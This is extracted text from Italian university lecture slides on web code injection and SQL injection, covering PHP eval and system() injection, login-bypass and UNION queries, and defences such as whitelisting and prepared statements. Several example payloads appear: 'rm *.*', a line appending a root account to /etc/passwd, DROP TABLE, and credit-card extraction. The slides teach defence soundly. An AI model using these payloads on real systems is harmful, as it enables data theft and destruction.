Elementi di Sicurezza e Privatezza Lezione 15 Web Security - Code Injection (1) Chiara Braghin chiara.braghin@unimi.it
Le 2 maggiori vulnerabilità dei siti Web SQL Injection Il browser spedisce dell input malizioso ad un server (tramite un form) La mancata verifica dell input porta a query SQL maliziose di TIPO 1: rilasciano informazione sensibile di TIPO 2: modificano dati critici (e sensibili) XSS Cross-site scripting Un Web server cattivo spedisce a una vittima innocente uno script che ruba informazioni da un server Web onesto 1
Code Injection SQL Injection e XSS sono un esempio del più generico attacco di tipo Code (o Command) injection Input non fidato viene inserito in una query o in un istruzione La stringa in input altera la semantica prevista dell istruzione Es: SQL Injection - dati non verificati vengono usati per fare una query ad un database Approfitta di vulnerabilità insite nei siti Web dinamici 2
Code Injection (1) Permette all attaccante di eseguire codice arbitrario a lato server Esempio: code injection basato su eval (funzione PHP) Si supponga di avere una calcolatrice a lato server: http://site.com/calc.php $in = $_GET[ exp']; eval('$ans = '. $in. ';'); Attacco: inserire 10; system( rm *.* ), ovvero http://site.com/calc.php?exp= 10; system( rm *.* ) 3
Code Injection (2) Esempio basato sull uso della funzione system(): Codice PHP per spedire email: $email = $_POST[ email ] $subject = $_POST[ subject ] system( mail $email s $subject < /tmp/mailbody ) L attaccante può inserire: http://yourdomain.com/mail.php? email=hacker@hackerhome.net & subject=foo < /usr/passwd; ls Oppure: http://yourdomain.com/mail.php? email=hacker@hackerhome.net&subject=foo; echo evil::0:0:root:/:/bin/sh">>/etc/passwd; ls 4
SQL Injection
SQL Injection Input non fidato viene inserito in una query La stringa in input altera la semantica prevista della query al database Possibile nel caso in cui non vengano controllati i dati in input Approfitta di vulnerabilità insite nei siti Web dinamici 6
SQL Injection - Funzionamento di base 1 Inserire input malizioso in un form Server Vittima 2 Attaccante 3 riceve (o modifica) dati sensibili query SQL non voluta DB SQL Vittima 7
SQL Injection - Elementi base (1) Client-side: Form per inserire i dati 8
SQL Injection - Elementi base (2) Server-side: Script che recupera i dati e li utilizza (e.g., costruisce la query) Esempio (codice PHP): $username = $_POST[ username ]; $sql = "SELECT PersonID FROM Users WHERE username='$username' "; $rs = $db->executequery($sql); Problema: L input dell utente contenuto in username viene inserito direttamente in un comando SQL 9
SQL Injection - Elementi base (3) Server-side: Database su cui viene fatta la query Users PersonID username lastname name SSN 1 mrossi Rossi Mario 265432A 2 escarpa Scarpa Enzo 345679Y Users SELECT name, lastname, SSN FROM Users lastname Rossi name Mario SSN 265432A Scarpa Enzo 345679Y 10
I tag HTML (1) I tag sono gli elementi della pagina HTML che servono per definire il tipo e il formato del contenuto, in questo modo il testo scritto appare nel formato voluto Caratteristiche principali: sono racchiusi da parentesi <angolate> <HTML> molti elementi possono avere argomenti (chiamati attributi) all'interno dei tag che definiscono parametri sulla gestione dell'elemento stesso da parte del browser <BODY BGCOLOR= red > la maggior parte dei tag ha un inizio (tag di apertura) e una fine (tag di chiusura) <HTML> e </HTML> Per chiudere un tag basta aggiungere / al tag iniziale i tag possono essere scritti indifferentemente con lettere maiuscole o minuscole 11
I tag HTML (2) - Regole di scrittura Regole per una corretta scrittura (non tutte obbligatorie): I tag vanno scritti sempre nello stesso modo non <HTML> e </html> I tag vanno aperti e chiusi sempre nello stesso ordine ma devono essere annidati fra loro e non sovrapposti: <THIS><THAT></THIS></THAT> <THIS><THAT></THAT></THIS> - tag sovrapposti, sbagliato - tag annidati, giusto Esempio: non si deve scrivere <body><p>contenuto della pagina</body></p> I valori vanno inseriti tra virgolette o apici Il browser interpreta al meglio pagine web che non rispettino queste regole, ma browser diversi possono dare risultati visivi diversi. 12
SQL (1) Una query SQL agisce sulle tabelle definite nella base di dati e restituisce come risultato una tabella Nei casi più semplici una query SQL deve specificare: quali sono le informazioni che interessano SELECT Attributo 1, Attributo 2, in quali tabelle si trovano FROM Tabella 1, Tabella 2, quali proprietà devono avere (la condizione, opzionale, è espressa sugli attributi delle tabelle specificate nella clausola FROM) WHERE Condizione 13
SQL (2) Il comando di base di SQL: SELECT [DISTINCT] Attributo {, Attributo} FROM Tabella [Ide] {, Tabella [Ide]} [ WHERE Condizione ] Semantica: restrizione + prodotto + proiezione Note: la condizione è opzionale in generale, una tabella nel linguaggio SQL non è un insieme, ma un multinsieme, a meno che non venga selezionata l opzione DISTINCT per evitare ambiguità quando si opera sul prodotto di tabelle con gli stessi nomi dei campi, un attributo A di una tabella R ide si denota come R.A oppure ide.a 14
SQL (3) La condizione presente nella clausola WHERE è un espressione boolena costruita combinando predicati semplici con gli operatori AND, OR, NOT Alcuni predicati semplici: Expr Confronto Expr Expr Confronto (Sottoselect che torna un valore) [NOT] EXISTS (Sottoselect) Confronto: <, >, =, <>, <=, >= 15
SQL Injection (1) Query (vulnerabile!) usata spesso per il login: SELECT * FROM Users WHERE username = chiara' AND passwd = '123' (Se ritorna qualcosa -i.e. l utente esiste-, allora login) Sintassi del server ASP/MS SQL: var sql = "SELECT * FROM Users WHERE username = '" + username + "' AND passwd = '" + passwd + "'"; 16
SQL Injection (2) Web Browser (Client) inserire username e password Web Server SELECT * FROM Users WHERE username= io' AND passwd= io23' DB Query normale 17
SQL Injection (3) Dati inseriti dall utente: username = ' or 1=1 passwd = ahah Query finale: SELECT * FROM Users WHERE username = ' ' or 1=1 ' AND password = 'ahah' Effetto: Seleziona un intera tabella invece che solo una riga! L utente viene loggato in quanto la query ritorna qualcosa -- commenta ciò che segue 18
SQL Injection (4) Dati inseriti dall utente: username = ' ; DROP TABLE Users passwd = boh Query finale: SELECT * FROM users WHERE username = ' ' ; DROP TABLE Users ' AND password = 'boh' Effetto: Cancella la tabella degli utenti!! Allo stesso modo si possono aggiungere utenti, modificare le password, etc. 19
Esempio (1.1) Esempio di come ottenere le informazioni sensibili contenute nel DB: Un form per richiedere gli ordini mensili di pizza. Si inserisce il numero del mese e viene visualizzata una tabella riassuntiva. 20
Esempio (1.2) Query SQL SELECT pizza, toppings, quantity, date FROM orders WHERE userid=. $userid. AND order_month=. _GET[ month ] Supponiamo che: month = 0 AND 1=0 UNION SELECT name, CC_num, exp_mon, exp_year FROM creditcards L'operatore UNION esegue l'unione insiemistica di due tabelle generate da comandi SELECT 21
Esempio (1.3) Risultato: vengono visualizzati i numeri di carta di credito dei clienti!! 22
Esempio (1.4) Altro attacco: SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=4123 AND order_month=0 OR 1=1 La condizione è sempre vera 23
Esempio (2) - :-) Source: http://xkcd.com/327/ 24
Attacco a CardSystems CardSystems Una compagnia che gestiva il pagamento avvenuto tramite carte di credito Attacco SQL injection nel giugno 2005 L attacco in numeri: 263,000 numeri di carte di credito rubati dal database (i numeri venivano memorizzati in chiaro ) 43 milioni di numeri di carte di credito esposti all attacco 25
Attacco dell aprile 2008 (1) 26
Attacco dell aprile 2008 (2) Come ha funzionato l attacco: (1) Usato Google per trovare siti che usano un particolare stile di ASP vulnerabile ad attacchi di tipo SQL injection (2) Usato SQL injection su questi siti, modificando la pagina facendo in modo che includa un link al sito cinese nihaorr1.com (NON VISITARE IL SITO!!!!!) (3) Il sito nihaorr1.com usa script JavaScript che sfruttano vulnerabilità in IE, RealPlayer, QQ Instant Messenger I passi (1) e (2) sono eseguiti in automatico da un tool che può venire configurato in modo che inietti qullo che si vuole nei siti vulnerabili 27
Esistono delle soluzioni? 1. Whitelisting al posto di Blacklisting 2. Validazione dell input 3. Usare Prepared Statements 28
Problemi del Blacklisting Blacklisting: indicare i caratteri che non devono essere presenti nelle stringhe di input Filtrare apici, spazi bianchi, ; e? Si potrebbe sempre scordare un carattere pericoloso Blacklisting non è una soluzione esauriente Es: parametri numerici? Può essere in conflitto con alcuni requisiti funzionali: Come memorizzare O Brien nel DB se gli apici non sono permessi? 29
Whitelisting Whitelisting permette solo input che rientrano in un ben definito insieme di valori L insieme di valori in genere viene definito usando espressioni regolari RegExp è il pattern con cui confrontare le stringhe in ingresso Es: parametro month: intero non-negativo RegExp: ^[0-9]*$ - 0 o più cifre, insieme sicuro ^ e $ indicano l inizio e la fine della stringa [0-9] indica cifre, * indica 0 o più 30
Prepared Statements & Bind Variables Meccanismo di base per SQL Injection: Alcuni metacaratteri (e.g. apici) servono per distinguere i dati dal controllo nelle query Nella maggior parte degli attacchi: dati interpretati come controllo Altera la semantica della query Bind Variable:? segnaposto che garantiscono si tratti di dati (non di controllo) Prepared Statements permettono la creazione di query statiche con bind variables Preserva la struttura della query attesa I paramentri non vengono considerati in fase di parsing della query 31
Java Prepared Statements PreparedStatement ps = db.preparestatement("select pizza, toppings, quantity, order_day " + "FROM orders WHERE userid=? AND order_month=?"); ps.setint(1, session.getcurrentuserid()); ps.setint(2, Integer.parseInt(request.getParamenter("month"))); ResultSet res = ps.executequery(); Bind Variable: segnaposto per i dati Le bind variable sono tipate: l input deve essere del tipo che ci si aspetta (e.g. int, string) 32
PHP Prepared Statements $ps = $db->prepare( 'SELECT pizza, toppings, quantity, order_day '. 'FROM orders WHERE userid=? AND order_month=?'); $ps->execute(array($current_user_id, $month)); Non c è la tipizzazione dei parametri come in Java SQL injection è ancora possibile! 33
Conclusione Gli attacchi di tipo SQL injection sono delle minacce che possono: Rilasciare dati sensibili Alterare o danneggiare dati critici Dare ad un attaccante un accesso non autorizzato ad un DB Idea chiave per combatterli: Usare diverse soluzioni, in modo consistente! Validazione dell input basato su whitelisting Prepared Statements con bind variable (meglio se tipate) 34
Web, vulnerabilità e attacchi
Attacchi comuni (2006) Cross-site scripting (XSS) 22% SQL Injection 14 % PHP Include 10% Buffer overflow 8% Il 2005 è stato il primo anno In cui XSS ha superato gli attacchi di tipo buffer overflow. 36
Attacchi - aggiornamento (2009) http://www-935.ibm.com/services/us/iss/xforce/trendreports/ 37
Dati recenti (1) Le vulnerabilità più diffuse nelle applicazioni Web (% Vulns ALL) 38
Dati recenti (2) Percentuale di diffusione delle vulnerabilità delle applicazioni Web (% Vulns ALL) 39
Riferimenti The Web Application Security Consortium http://projects.webappsec.org/ Web-Hacking-Incident-Database http://projects.webappsec.org/web- Hacking-Incident-Database http://www.xiom.com/whid-about The IBM X-Force Trend and Risk Report http://www- 935.ibm.com/services/us/iss/xforce/tr endreports/ 40